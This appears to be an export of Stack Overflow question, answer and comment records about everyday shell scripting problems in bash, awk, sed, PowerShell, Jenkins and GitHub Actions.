has text: The script1 generates a softlink like below where the tar ball resides ln -sfn build-1.0.135-test-20230629-133144/src /jenkins/air-default/workspace/N_basic_development_test_develop/reports/Dev-test and I need to access this path "/jenkins/air-default/workspace/N_basic_development_test_develop/reports/Dev-test"

http://stackoverflow.com/q/76945139
score: 1
tagged with: bash
favorite count: 0
tagged with: while-loop
has answer: http://stackoverflow.com/a/76945367
answer count: 5
type: Question
tagged with: shell
tagged with: linux
has title: while read loop not ignoring files that don't match pattern that awk is looking for
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135644313
has answer: http://stackoverflow.com/a/76945233
upvote count: 1
has answer: http://stackoverflow.com/a/76964303
has answer: http://stackoverflow.com/a/76945473
has answer: http://stackoverflow.com/a/76945671
tagged with: scripting
has body: From the below file I want to grab only the pattern between the special char '@'. however, I'm ending-up with different. testfile.txt ## START :: start of file ## path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ ## END :: end of file ## total 9 lines in text file and my script is test_script.sh #!/bin/bash while IFS= read -r line; do pattern1=$(echo "$line" | awk -F '@|@' '{print $2}') echo $pattern1 one if [ ! -z "$pattern1" ]; then echo "pattern is not empty" fi done < "$1" the first echo statement I added to test the value in pattern1 variable. raj@my_server ~]$ ./test_script.sh testfile.txt one mysite.mw_path one pattern is not empty one mysite.mw_brkr_path one pattern is not empty one mysite.mw_path one pattern is not empty one mysite.mw_brkr_path one pattern is not empty one I'm getting the above output, I'm expecting the output like below mysite.mw_path one pattern is not empty mysite.mw_brkr_path one pattern is not empty mysite.mw_path one pattern is not empty mysite.mw_brkr_path one pattern is not empty appreciate the help here. Thanks in advance.

http://stackoverflow.com/q/76960050
tagged with: bash
has comment: http://stackoverflow.com/comment/135672884
has comment: http://stackoverflow.com/comment/135670269
has title: Insert # at the start of a matching String
duplicate of: http://stackoverflow.com/q/3576380
type: Question
linked to: http://stackoverflow.com/q/3576380
type: UnansweredQuestion
tagged with: awk
score: 0
answer count: 0
tagged with: shell
linked to: http://stackoverflow.com/q/56876657
has comment: http://stackoverflow.com/comment/135670274
has comment: http://stackoverflow.com/comment/135671683
has body: Current Sample Data 03054;server 03055;server I am trying to comment out the lines which containing the "server" in a file, but its failing on Solaris server, as below root@hostname:/root# sed -i '/server/s/^/#/' /tmp/reference.txt sed: illegal option -- i The expected output would be #03054;server #03055;server
tagged with: solaris
tagged with: sed

http://stackoverflow.com/a/76916586
has comment: http://stackoverflow.com/comment/135595518
downvote count: 0
has comment: http://stackoverflow.com/comment/135595610
has comment: http://stackoverflow.com/comment/135595457
accepted answer of: http://stackoverflow.com/q/76916410
has comment: http://stackoverflow.com/comment/135595577
has comment: http://stackoverflow.com/comment/135595617
type: Answer
has comment: http://stackoverflow.com/comment/135595679
score: 2
has comment: http://stackoverflow.com/comment/135595550
has comment: http://stackoverflow.com/comment/135595545
has comment: http://stackoverflow.com/comment/135595697
has comment: http://stackoverflow.com/comment/135595531
has comment: http://stackoverflow.com/comment/135595628
upvote count: 2
has comment: http://stackoverflow.com/comment/135595235
answers question: http://stackoverflow.com/q/76916410
has comment: http://stackoverflow.com/comment/135595642
has comment: http://stackoverflow.com/comment/135595279
has comment: http://stackoverflow.com/comment/135595595
has comment: http://stackoverflow.com/comment/135595634
type: AcceptedAnswer
has body: NOTE: Following answers were based on the bash tag that was originally attributed to the question; the tag has since been changed to zsh; I don't use zsh but from comments by OP: the while/read loop works in zsh the mapfile does not work in zsh As mentioned in comments the current monitored_paths assignment populates the variable with a single (2-line) string: $ typeset -p monitored_paths declare -a monitored_paths=([0]=$'/Users/First Folder\n/Users/Second Folder') Notice the embedded linefeed (\n) between the 2 paths. This entire 2-line construct is fed to fswatch as a single path. A couple options for populating monitored_paths as an array: while/read loop: monitored_paths=() while read -r path do monitored_paths+=("$path") done < <(jq -r '.paths[]' config.json) mapfile: mapfile -t monitored_paths < <(jq -r '.paths[]' config.json) Both of these create/populate the array: $ typeset -p monitored_paths declare -a monitored_paths=([0]="/Users/First Folder" [1]="/Users/Second Folder") From here OP's current code should function as expected: fswatch --verbose "${monitored_paths[@]}"

http://stackoverflow.com/comment/135719761
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76987964
score: 0
has text: reading the wordpress docs now, I see that the salt url only returns the define lines, so my code above won't work properly

http://stackoverflow.com/a/77038337
score: -1
has body: [CmdletBinding()] param ( [Parameter()] [string] $ParameterName). $display = "help.ps -powershell #powershell #spd #wpe #pot #web " Get-Variable -name $ParameterName -ValueOnly $parameterName = Get-Variable -name $ParameterName -ValueOnly start $ParameterName
has comment: http://stackoverflow.com/comment/135828231
has comment: http://stackoverflow.com/comment/135809016
downvote count: 1
upvote count: 0
has comment: http://stackoverflow.com/comment/135813605
answers question: http://stackoverflow.com/q/77037911
type: Answer

http://stackoverflow.com/q/77037911
has comment: http://stackoverflow.com/comment/135808248
tagged with: powershell
answer count: 1
tagged with: powershell-3.0
has comment: http://stackoverflow.com/comment/135808254
favorite count: 0
downvote count: 1
has body: greet i wrote an simple PowerShell script to store simple massage in variable ,and display the massage with parameter , it work pretty well. but when i add multiple value in the variable i can't call the specific variable with parameter code : [Parameter()] [string] $ParameterName.$var = &quot;&quot;.Get-Variable -name $ParameterName -ValueOnly and call it like this : it should display $var's value problem is can i display the variable with multiple value ? for example how can i display the $var[0] with the same method ?
has answer: http://stackoverflow.com/a/77038337
tagged with: variables
type: Question
tagged with: shell
has title: how to display a child variable with parameter
type: UnansweredQuestion
score: -1
upvote count: 0

http://stackoverflow.com/comment/135734889
score: 1
type: QuestionComment
type: Comment
has text: Right. You should never add `.SILENT` or `@` to your makefile until AFTER it's completely working. Else it's like redirecting the output of your program to `/dev/null` then asking what is wrong with it.
comment on: http://stackoverflow.com/q/76994952

http://stackoverflow.com/comment/135705519
type: QuestionComment
comment on: http://stackoverflow.com/q/76979463
type: Comment
has text: So, i managed to get something with mkfifo. If i cat "e" instead of echo -ne response, and add >> xd.txt (as example) at the end of nc, the xd file will be created, with the full header, and will wait for the fifo file. so, it is a progress, the header indeed come before ending the connection
score: 0

http://stackoverflow.com/q/77029758
tagged with: kotlin
tagged with: docker
score: 0
type: Question
tagged with: shell
answer count: 0
has comment: http://stackoverflow.com/comment/135794177
has comment: http://stackoverflow.com/comment/135794310
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135794185
has comment: http://stackoverflow.com/comment/135794836
has body: I'm trying to spin up the kotlin compiler through java. I've tried the following commands: Runtime.getRuntime().exec("kotlinc -version").waitFor() Runtime.getRuntime().exec("kotlin -version").waitFor() Runtime.getRuntime().exec("bash", "-c", "kotlin -version").waitFor() Runtime.getRuntime().exec("sh", "-c", "kotlin -version").waitFor() and each time I get a variant of "no such directory" or "command not found". Yet, when I connect to the container's terminal (user is "app") and do kotlinc it works as expected. Is there something I'm missing?
tagged with: java
has title: When executing a command through java runtime (in a docker container), I get command not found

http://stackoverflow.com/q/77042151
answer count: 1
has comment: http://stackoverflow.com/comment/135815958
has answer: http://stackoverflow.com/a/77049182
has comment: http://stackoverflow.com/comment/135815884
has comment: http://stackoverflow.com/comment/135816142
score: 0
type: Question
has body: Vscode Python debug problem My environment Windows 11 VScode 1.81.1 MingW64 Bash (as VScode integrated terminal) When pressing F5 for debugging python file, terminal shows: # cmd /C "D:\Sci\Anaconda\envs\torch\python.exe c:\Users\shuch\.vscode\extensions\ms-python.python-2023.14.0\pythonFiles\lib\python\debugpy\adapter/../..\debugpy\launcher 60484 -- D:\Date\LTS_23-6-20_ML\2_BasicML\inference_cnn.py " Microsoft Windows [版本 10.0.22621.2134] (c) Microsoft Corporation。保留所有权利。 D:\Date\LTS_23-6-20_ML> It entered into interactive mode of CMD waiting for commands Performance of different terminals I tried to test in terminal: MingW64 Bash # cmd /c echo "test" Microsoft Windows [版本 10.0.22621.2134] (c) Microsoft Corporation。保留所有权利。 C:\Users\shuch> # cmd //c echo "test" test Powershell PS C:\Users\shuch> cmd /c echo "test" test PS C:\Users\shuch> cmd //c echo "test" Microsoft Windows [版本 10.0.22621.2134] (c) Microsoft Corporation。保留所有权利。 C:\Users\shuch> So my questions are: Why cmd /c works differently in shell and powershell? How to fix vscode debug problem without changing integrated terminal?
tagged with: vscode-debugger
tagged with: shell
has comment: http://stackoverflow.com/comment/135815959
type: UnansweredQuestion
tagged with: python
has title: Vscode python debug works uncorrectedly in Windows + shell terminal environment
has comment: http://stackoverflow.com/comment/135815903
tagged with: cmd

http://stackoverflow.com/a/76899209
answers question: http://stackoverflow.com/q/76893303
type: Answer
has body: If the lines of content are independent such that changing their sort order doesn't change their meaning, you may wish to use comm rather than diff: diff does extra, memory-intensive work to try to build the shortest possible changeset (with a fairly complex algorithm), whereas comm simply compares a line at a time between two inputs (an algorithm that is possible only when those inputs are sorted). If your inputs are both pre-sorted, this can look like: # Extremely fast and memory-efficient comm -23 a.txt b.txt ...otherwise, sorting them in real-time: # Still faster than diff's worst-case, and supports processing content # larger-than-memory, which diff doesn't. comm -23 &lt;(sort &lt;a.txt) &lt;(sort b.txt) (sort does need working space correlated with the size of its inputs, but unlike diff, it's able to shuffle that content out of RAM into temporary files and combine those files via a merge sort when insufficient RAM is available).
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/135646861
score: 0
comment on: http://stackoverflow.com/a/76945671
type: Comment
type: AnswerComment
has text: @Rajasekhar it is impossible to read code posted in comments. Please post a new question if you have a follow-up question (and link the existing one). A shell script might not be the best or easiest solution for your problem. Have you considered a python or perl script instead?

http://stackoverflow.com/comment/135835839
comment on: http://stackoverflow.com/q/77052638
has text: Stack Overflow is specific to questions about writing code. [Super User](https://superuser.com/) is Stack Exchange's general user-focused-support site, but there's also [apple.se] and [unix.se], either of which could be defensible as well.
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/a/77051934
has comment: http://stackoverflow.com/comment/135833736
has body: One bash idea using a regex and the BASH_REMATCH[] array: regex='([0-9]+)\.tar' for fname in application-231241223.tar application-2412-test-12312333.tar application-2412-test12312333.tar do echo "###### $fname" "$fname" =~ $regex && typeset -p BASH_REMATCH done This generates: ###### application-231241223.tar declare -ar BASH_REMATCH=([0]="231241223.tar" [1]="231241223") ^^^^^^^^^^^^^^^ ###### application-2412-test-12312333.tar declare -ar BASH_REMATCH=([0]="12312333.tar" [1]="12312333") ^^^^^^^^^^^^^^ ###### application-2412-test12312333.tar declare -ar BASH_REMATCH=([0]="12312333.tar" [1]="12312333") ^^^^^^^^^^^^^^ The value we're looking for is in the BASH_REMATCH[1] location so OP's code becomes: regex='([0-9]+)\.tar' for fname in application-231241223.tar application-2412-test-12312333.tar application-2412-test12312333.tar do "$fname" =~ $regex && export PROCESS_NUMBER="${BASH_REMATCH[1]}" done An alternative using parameter expansion: for fname in application-231241223.tar application-2412-test-12312333.tar application-2412-test12312333.tar do echo "###### $fname" newfname="${fname%.tar}" newfname="${newfname##*[^0-9]}" typeset -p newfname done This generates: ###### application-231241223.tar declare -- newfname="231241223" ^^^^^^^^^ ###### application-2412-test-12312333.tar declare -- newfname="12312333" ^^^^^^^^ ###### application-2412-test12312333.tar declare -- newfname="12312333" ^^^^^^^^ OP's code becomes: for fname in application-231241223.tar application-2412-test-12312333.tar application-2412-test12312333.tar do newfname="${fname%.tar}" export PROCESS_NUMBER="${newfname##*[^0-9]}" done
answers question: http://stackoverflow.com/q/77050349
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135840321
upvote count: 1
type: Answer

http://stackoverflow.com/a/77039367
has comment: http://stackoverflow.com/comment/135810677
downvote count: 1
has comment: http://stackoverflow.com/comment/135811415
type: Answer
has comment: http://stackoverflow.com/comment/135811408
has comment: http://stackoverflow.com/comment/135811771
has comment: http://stackoverflow.com/comment/135810812
has comment: http://stackoverflow.com/comment/135810772
has comment: http://stackoverflow.com/comment/135813461
answers question: http://stackoverflow.com/q/77039334
score: 3
has comment: http://stackoverflow.com/comment/135811385
has comment: http://stackoverflow.com/comment/135811005
has comment: http://stackoverflow.com/comment/135810801
has comment: http://stackoverflow.com/comment/135810833
has body: Using xidel and xpath query language: xidel -e '//testng-results/@passed div //testng-results/@total' -s file.xml xidel -e '//testng-results/(@passed div @total)' -s file.xml Output 0.36363636363636365 You can also use xmllint: xmllint --xpath '//testng-results/@passed div //testng-results/@total' file 0.363636 or xmlstarlet: xmlstarlet sel -t -m '//testng-results/@passed div //testng-results/@total' file 0.363636363636364 So finally: res=$(maven ... | xidel...) echo "$res" XPath's Arithmetic Operators Operator Description Example + Addition 6 + 4 - Subtraction 6 - 4 * Multiplication 6 * 4 div Division 8 div 4 = Equal price=9.80 != Not equal price!=9.80 < Less than price<9.80 <= Less than or equal to price<=9.80 > Greater than price>9.80 >= Greater than or equal to price>=9.80 mod Modulus (division remainder) 5 mod 2 Borrowed here
upvote count: 4
has comment: http://stackoverflow.com/comment/135811363

http://stackoverflow.com/comment/135644261
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76944879
has text: Perhaps there are lines ending in `...>(one or more spaces)`? If you try `sed -e ':loop; /[^> ] *$/{N; b loop}; s/\n */ /g; s/></>\n</g' INPUTFILE`, is it any better?

http://stackoverflow.com/comment/135784676
comment on: http://stackoverflow.com/q/77024360
type: Comment
has text: kick the `ChanDataStream_Sim` call into the background by appending `&` on the end of the line? eg, `ChanDataStream_Sim .... &`; though you may not be able to implement some of your other requirements, eg, *Moreover the command will halt if interrupted or the session ended.*
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135634700
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76939845
has text: Since the question is about bash: `NL=$'\n'` (Note that `-v` option to printf is not [portable](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html))

http://stackoverflow.com/q/76947111
score: 0
tagged with: shell
tagged with: jenkins
has body: I am currently in the process of configuring a Jenkins pipeline using a Groovy script. Inside the Groovy script, in one of the stages, I am executing a Shell script as follows: pipeline { parameters { } agent { docker { } } stages { stage('abc') { steps { script { sh '''#!/bin/bash -x currentYear = `date +"%Y"` echo ${currentYear} ''' } } } } } The date calculation is working fine. However the echo command is not displaying anything. And any further usage of this variable yields a blank. Can anyone please help me in understanding why this variable doesn't have any value?
has answer: http://stackoverflow.com/a/76951409
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/135653654
has comment: http://stackoverflow.com/comment/135649669
has title: Variable inside shell script in Jenkins groovy script not storing value
tagged with: jenkins-pipeline
type: Question
tagged with: jenkins-groovy
tagged with: groovy

http://stackoverflow.com/comment/135643168
type: Comment
has text: yes. I run the container as root
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76944313

http://stackoverflow.com/comment/135817172
score: 4
comment on: http://stackoverflow.com/q/77042792
has text: "LW5lIEFwcHM6YXBwczEK" decodes to the string "-ne Apps:apps1<newline>". This happens because `echo` with options is hopelessly inconsistent between different versions and modes. If you value your sanity, don't use it, use `printf` with an appropriate format string: `printf '%s' "Apps:apps1" | openssl enc -base64`. See ["Why is printf better than echo?"](https://unix.stackexchange.com/questions/65803/why-is-printf-better-than-echo)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135805479
has text: @Uberhumus -a is used for command "taskset" to special the cpu mask. I try time -o, but adb report :/system/bin/sh: time: -o: unknown option .
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77036222
type: QuestionComment

http://stackoverflow.com/comment/135589384
type: Comment
comment on: http://stackoverflow.com/q/76913434
score: 0
has text: it is not working, still passing.... $ export JIRA_DESCRIPTION=$(echo ${JIRA_DETAIL} | jq '.fields.description') $ if -z "$JIRA_DESCRIPTION" # collapsed multi-line command PASSED! Jira description check
type: QuestionComment

http://stackoverflow.com/q/77046907
answer count: 0
has comment: http://stackoverflow.com/comment/135828161
has comment: http://stackoverflow.com/comment/135831233
has body: I came across a project requirement to migrate DBA directories from oracle running on Windows server to Linux server as a part of Oracle migration project. Considering manual approach it looks easy as we can capture the DDL of Oracle directories, create them on linux with equivalent path(converted to Linux) and then migrate data using WinSCP. Both my DB environments are on Azure IAAS, and target database environment is having CDB-PDB architecture. However, I need to do the same through Gitlab automated pipeline, and the challenge I am facing is to copy the data from one of the windows directory and copy to its equivalent directory on Linux server. Lets consider this example for a better insinght: In Windows I have the following directory structure: E:\Folder1 E:\Folder1\Folder1.1 E:\Folder2 E:\Folder1\Folder1.1\Folder1.1.1 E:\Folder2\Folder2.1 F:\Folder3 Lets say each of the above folders have some flat file data(CSVs, TXTs), DB Export Dumps,additional customer data etc. I need to convert them to Linux equivalent first: /mount/DBDIR/Folder1 /mount/DBDIR/Folder1/Folder1.1 /mount/DBDIR/Folder2 /mount/DBDIR/Folder1/Folder1.1/Folder1.1.1 /mount/DBDIR/Folder2/Folder2.1 /mount/DBDIR/Folder3 Then migrate the data from each of these directories to its equivalent Linux directories using automation. Can anyone help with the possible approach that I can follow here via script. Thanks... I am expecting to help with an automated script or logic to migrate oracle directory data from Windows server to Linux.
tagged with: shell
type: UnansweredQuestion
downvote count: 0
tagged with: azure
score: 1
tagged with: automation
favorite count: 0
tagged with: gitlab
has title: Migration of Oracle Directories from Windows to Linux Server in 12c using GITLAB automation
has comment: http://stackoverflow.com/comment/135826239
tagged with: powershell
upvote count: 1
type: Question

http://stackoverflow.com/comment/135807644
comment on: http://stackoverflow.com/q/77037291
score: 0
type: QuestionComment
has text: For getting unique values, you could pipe your text file into `sort -u`. For getting the commas as separator, see [here](https://stackoverflow.com/questions/2764051/how-to-join-multiple-lines-of-filenames-into-one-with-custom-delimiter).
type: Comment

http://stackoverflow.com/comment/135594811
type: Comment
has text: Are you using zsh ?
comment on: http://stackoverflow.com/q/76916410
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135807205
type: QuestionComment
has text: The result that I want: V04.01, V04.02 - one string, no new lines, unique values, commas. Only name prefixes (all before __), only for sql files.
type: Comment
comment on: http://stackoverflow.com/q/77037291
score: 0

http://stackoverflow.com/q/77009102
tagged with: shell
tagged with: leiningen
type: UnansweredQuestion
has title: How to set process name for Leiningen script so htop shows it as "lein" and not "java... "?
tagged with: unix
has body: How to set the process name for Leiningen script so htop shows it as "lein" and not "java... "? Every Leiningen process shows as "java -D..." I tried: #!/bin/bash # Set the process name to "lein" if [ "$(uname)" == "Darwin" ]; then # Use setproctitle to set the process name on macOS if [ -n "$(command -v setproctitle)" ]; then setproctitle "lein" fi fi and: # Set the process name to "lein" if [ "$(uname)" == "Linux" ]; then # Use prctl to set the process name on Linux if [ -n "$(command -v prctl)" ]; then prctl --set-name lein fi fi I tried these code samples, but the are not installed by default and not working anyway.
has comment: http://stackoverflow.com/comment/135757587
has comment: http://stackoverflow.com/comment/135757295
has comment: http://stackoverflow.com/comment/135757298
tagged with: bash
type: Question
has comment: http://stackoverflow.com/comment/135757343
score: 0
answer count: 0

http://stackoverflow.com/comment/135834161
comment on: http://stackoverflow.com/q/77050349
type: Comment
has text: Please read [correct-bash-and-shell-script-variable-capitalization](https://stackoverflow.com/questions/673055/correct-bash-and-shell-script-variable-capitalization)
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135705892
comment on: http://stackoverflow.com/q/76971571
has text: look at just the output from `ls -1` Where/what is the extra file?
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135561255
comment on: http://stackoverflow.com/q/76896657
type: Comment
has text: You should have gotten an error message (_bash: [: missing ']'_) . See `man test` for how the test command works. Better (and less error prone), use the `[[ ... ]]` construct instead of the `[` command.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135692160
type: Comment
score: 0
has text: BTW, there's no good reason for you to use `nohup` here (or, I might argue, anywhere else) at all. If you redirect all three of stdin, stdout and stderr (so `</dev/null >nohup.out 2>&1`) and are running your code noninteractively, the HUP handling that nohup enforces is the same thing the shell would do by default regardless.
type: QuestionComment
comment on: http://stackoverflow.com/q/76970324

http://stackoverflow.com/comment/135726153
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76990052
has text: one more question, if I want to use IP from an env variable, i.e., say IP=111.111.111.111, in that case `\1${IP}\2` is not working. Any help?

powershell-3.0
tag name: powershell-3.0
type: Tag
tags question: http://stackoverflow.com/q/77037911
tags question: http://stackoverflow.com/q/77046185
tags question: http://stackoverflow.com/q/77927579
tags question: http://stackoverflow.com/q/78699345

http://stackoverflow.com/a/77045863
has body: In bash 5.2, it's possible to do: this version of bash ships with a "delimiter-separated values" loadable module that respects double-quoted fields. enable dsv while IFS= read -r line; do dsv -a fields "$line" declare -p fields printf '%s\n' "${fields[1]}" done < file.csv declare -a fields=([0]="Foo News, Videos (Android)" [1]="Foo News, Videos - Android" [2]="Foo News, Videos (Android)") Foo News, Videos - Android declare -a fields=([0]="Bar News (iOS)" [1]="Bar News, Movie - iOS" [2]="Bar News & Movie (iOS)") Bar News, Movie - iOS I have this in my ~/.bashrc to make this easy: # for loadable builtins bash_root=${BASH%/bin/bash} -d "$bash_root/lib/bash" && BASH_LOADABLES_PATH="$bash_root/lib/bash" unset bash_root
answers question: http://stackoverflow.com/q/77045684
score: 0
type: Answer

http://stackoverflow.com/comment/135809016
type: Comment
has text: i store the password or software commandline in the variable,it work when i call it in terminal ,but i want to add a multiple value Variable and call the child-value with the same method for example $web =@{vpn ='C:\Users\34683\Documents\website\vpn.rtf'; GFW = 'C:\Users\34683\Documents\website\GFW.docx'; }
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77038337

http://stackoverflow.com/comment/135760164
type: QuestionComment
has text: Is it YAML data?
type: Comment
comment on: http://stackoverflow.com/q/77010695
score: 2

http://stackoverflow.com/q/77046244
linked to: http://stackoverflow.com/q/4013950
tagged with: shell
has body: ahoy all. while finding a few answers related to determining the locale's decimal separator (AKA radix point, thousands separator) in a shell script, the only answers that i have found related to obtaining the currency symbol of the current locale are specific to a programming language (e.g. PHP, Java, etc). however surprisingly i cannot yet find a solution which can be used in a POSIX shell script. i have come across references to locale variables like LC_MONETARY and LC_CURRENCY but have not yet stumbled upon a way to access them from the shell as they are not in the default environment of a normal bash/dash login. as always thanks for reading and for any answers and comments. peace.
tagged with: currency
has answer: http://stackoverflow.com/a/77046245
linked to: http://stackoverflow.com/q/72798358
linked to: http://stackoverflow.com/q/72795026
tagged with: posix
tagged with: locale
score: 2
downvote count: 0
has title: how to determine currency symbol of current locale in POSIX shell script?
linked to: http://stackoverflow.com/q/29969439
has answer: http://stackoverflow.com/a/77710690
favorite count: 0
possible better answer: http://stackoverflow.com/a/77710690
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/12845638
linked to: http://stackoverflow.com/q/8313118
tagged with: scripting
upvote count: 2
accepted answer: http://stackoverflow.com/a/77046245
answer count: 2
type: Question

http://stackoverflow.com/q/77006747
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135756679
has comment: http://stackoverflow.com/comment/135753355
has comment: http://stackoverflow.com/comment/135766208
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135756770
accepted answer: http://stackoverflow.com/a/77009428
has body: I have some 160 files, with continuous numbering within the file names, like abc_1_def.ext to uvw_162_yxz.ext. The numbers were generated in time sequence, unfortunately with the most recent data first, the most ancient data last. We prefer to rename these files, in proper historical order, that is abc_162_def.ext to uvw_1_yxz.ext; meaning with incremental numbers in historical sequence. Kind of stack task. I have tried myself, though I didn't have any good idea to manipulate the numbers. There are plenty of samples with adding a fixed number and likewise. However, not for this kind of LiFo problem. Appreciate any suggestion!
has answer: http://stackoverflow.com/a/77009428
tagged with: bash
has comment: http://stackoverflow.com/comment/135754043
has title: Change Shell script to replace numbers in a file name with complementary sequence
answer count: 1
tagged with: file

http://stackoverflow.com/comment/135813693
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77041015
has text: I'm not sure what the problem is, but I'm seeing some questionable code here. Try running it through [ShellCheck](//shellcheck.net) and fixing any problems it points out.
type: Comment

http://stackoverflow.com/comment/135670274
has text: You have an answer here: https://stackoverflow.com/questions/56876657/how-to-use-sed-i-in-solaris
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76960050
score: 0

http://stackoverflow.com/comment/135603502
comment on: http://stackoverflow.com/q/76905287
score: 0
has text: @Gairfowl I noticed that if I exclude the rest of the code and leave only the loop, it returns `Too many arguments`. Is something wrong in the flags? [Photo](https://imgur.com/a/98TPh7E)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135812885
type: Comment
has text: Not that I needed it any longer, also because we do not allow blanks in file names anyway. Only since you ask, I left the script almost as given, just adapting to the location of the numbers in the file names: `lst=( $( printf "%s\n" hold/* | sort -t_ -k 3 -n -r ) ) # reverse numeric order on the key for f in "${lst[@]}" do n="${f#hold/}" # strip subfolder to move them *back* mv "$f" "./${n/2021_+([0-9])_/2021_$((++cnt))_}" # replace/reorder the numbers done`
type: AnswerComment
comment on: http://stackoverflow.com/a/77009428
score: 0

http://stackoverflow.com/comment/135668984
has text: I've edited the main post with the content of the bash script. It seems ok, without special characters.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/76959311
type: AnswerComment

http://stackoverflow.com/comment/135798147
has text: use GNU screen or tmux? or my [sexpect](https://github.com/clarkwang/sexpect) with which you can interact with the bash session in a programmable way.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77031983
type: Comment

http://stackoverflow.com/a/76987964
type: Answer
has comment: http://stackoverflow.com/comment/135719788
has comment: http://stackoverflow.com/comment/135720717
has comment: http://stackoverflow.com/comment/135719761
answers question: http://stackoverflow.com/q/76987590
has body: Your code is: SALT=$(curl https://api.wordpress.org/secret-key/1.1/salt/)\ WP_ROOT=/var/www/html/123123 SALT_START='\/\\*\\*#@+'; SALT_END='\/\\*\\*#@-\\*\/'; sed -ne "/${SALT_START}/ {p; ${SALT}" -e ':a; n; /${SALT_END}/ {p; b}; ba}; p' ${WP-ROOT}/wp-config.php If we change sed and curl to echo '' and then run, we see: -ne /\/\*\*#@+/ {p; https://api.wordpress.org/secret-key/1.1/salt/WP_ROOT=/var/www/html/123123 -e :a; n; /${SALT_END}/ {p; b}; ba}; p ROOT/wp-config.php This is clearly not the intended command. There are numerous issues. the trailing \ on the first line means WP_ROOT is not defined (the line becomes part of the SALT= assignment ${WP-ROOT} is a typo that returns "ROOT" if the variable WP is unset some variables that you want to expand are inside single-quotes and so remain unchanged there are too many backslashes in SALT_START (and SALT_END) the behaviour of b and : sed commands is not specified if extra commands are appended (eg. BSD sed will treat the entirety of the remaining line as the label) ${SALT} does not expand to a valid sed command Simpler code is: curl https://api.wordpress.org/secret-key/1.1/salt/ >saltfile SaltStart='\/\*\*#@+' SaltEnd='\/\*\*#@-\*\/' WProot=/var/www/html/123123 sed " /$SaltStart/ r saltfile //,/$SaltEnd/ d " "$WProot"/wp-config.php rm saltfile save the curl output somewhere if start of salt recognised, include the contents of the salt file delete lines from salt start to salt end inclusive otherwise just print the line once finished, delete the saltfile The code writes to stdout. With appropriate error checking, you could add the -i option to sed to change the file in-place Although my code above answers the question as stated, it is more likely that one would want to be able to repeat the command to load new secrets. However, with the code above the marker lines are removed and so this won't work. Looking at the salt output from the wordpress url, we see that only define lines are generated, and so only those lines s…
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135720334
has comment: http://stackoverflow.com/comment/135719843

http://stackoverflow.com/comment/135798379
type: QuestionComment
comment on: http://stackoverflow.com/q/77031983
has text: with GNU screen or tmux, you can redirect all the output to some file which you can read later?
type: Comment
score: 0

http://stackoverflow.com/comment/135808386
type: AnswerComment
has text: To be more comprehensively correct, you should either quote -- as in, `[ "$choice" = 1 ]` -- or switch to extended syntax `$choice = 1 `. Without the quotes, you'll get surprising behaviors if, say `choice` is completely empty, or if it contains more than one word. (BTW, shellcheck should point the quoting problem out too).
score: 0
comment on: http://stackoverflow.com/a/77037993
type: Comment

http://stackoverflow.com/q/77032363
answer count: 1
favorite count: 0
downvote count: 1
tagged with: github
has answer: http://stackoverflow.com/a/77036470
has title: Get value of secrets using a variable name in GitHub Actions
has comment: http://stackoverflow.com/comment/135804630
tagged with: bash
tagged with: continuous-integration
tagged with: github-actions
upvote count: 1
score: 0
type: Question
has body: I am creating a re-usable workflow that will have a secrets: inherit directive. Therefore it will inherit the secrets from the invoking workflow. I want to build a convention where some secrets will be named according to the Dockerfile. So for example if the dockerfile is named Dockerfile the convention is that these secrets will be stored in a secret variable named Dockerfile_BUILD_SECRETS However the following shell step fails - name: get build secrets shell: bash run: | SECRETS_NAME="${{ inputs.dockerfile }}_BUILD_SECRETS" BUILD_SECRETS="${{ secrets.${SECRETS_NAME} }}" echo "BUILD_SECRETS=$BUILD_SECRETS" >> $GITHUB_ENV with the error: Unexpected symbol: '${SECRETS_NAME}'. Located at position 9 within expression: secrets.${SECRETS_NAME} Is there a way around this?
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/q/76927566
downvote count: 0
has comment: http://stackoverflow.com/comment/135613249
has comment: http://stackoverflow.com/comment/135613396
answer count: 3
possible better answer: http://stackoverflow.com/a/76927975
upvote count: 1
has comment: http://stackoverflow.com/comment/135613770
has answer: http://stackoverflow.com/a/76929534
tagged with: shell
has comment: http://stackoverflow.com/comment/135613250
score: 1
has title: Passing columns position as input to AWK command
favorite count: 0
